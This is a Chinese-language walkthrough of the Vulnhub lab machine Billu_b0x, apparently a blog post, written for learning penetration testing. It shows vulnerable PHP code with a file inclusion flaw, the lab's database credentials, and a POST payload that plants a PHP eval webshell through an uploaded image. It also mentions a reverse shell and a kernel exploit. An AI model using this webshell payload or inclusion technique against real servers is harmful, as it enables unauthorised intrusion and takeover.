vulnhub:Billu_b0x

本文档详细介绍了在Vulnhub上进行的Billu_b0x靶机挑战。首先通过nmap进行端口扫描,接着审计HTML源码和使用SQLmap。发现任意文件下载漏洞,继而进行代码审计,揭示了文件包含攻击的可能性。尽管遇到了文件上传验证的阻碍,但最终成功获取数据库凭证,并利用phpmyadmin登录。通过上传图片马和构造payload,实现了远程连接和shell反弹,为进一步提权奠定了基础。

环境搭建

https://download.vulnhub.com/billu/Billu_b0x.zip
hash:ebcb435522917a67b54274900b37c6af

开搞

首先nmap开路

image
访问http://192.168.14.149/
image

向世界上最帅老男人致敬

查看HTML源码并没什么*用,SQLmap无果后遍历目录
image
访问http://192.168.14.149/test.php报错缺少参数file
image
尝试POST提交file=test.php此处为任意文件下载,将目录遍历出的文件全部下载开始代码审计。
image

审计

主页登录成功后跳转至panel.php查看panel.php源码第33行起,当load为非add与show时可构造任意文件包含攻击

if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}

文件上传验证文件后缀与文件类型,经测试无法构造绕过。

$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
利用

c.php中找到数据库账号密码billu/b0x_billu,登录phpmyadmin找到用户名口令
image
登录成功后上传图片马到uploaded_images/目录下构造payload如下

POST /panel.php
continue=&load=uploaded_images/trial.png&trial=file_put_contents('test.php','<?php @eval($_POST[test]);?>');

菜刀连接uploaded_images/test.php查看版本
image
反弹shell
image
提权
image
https://www.exploit-db.com/exploits/37292/
写入免密密匙 然后。。就没有然后了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值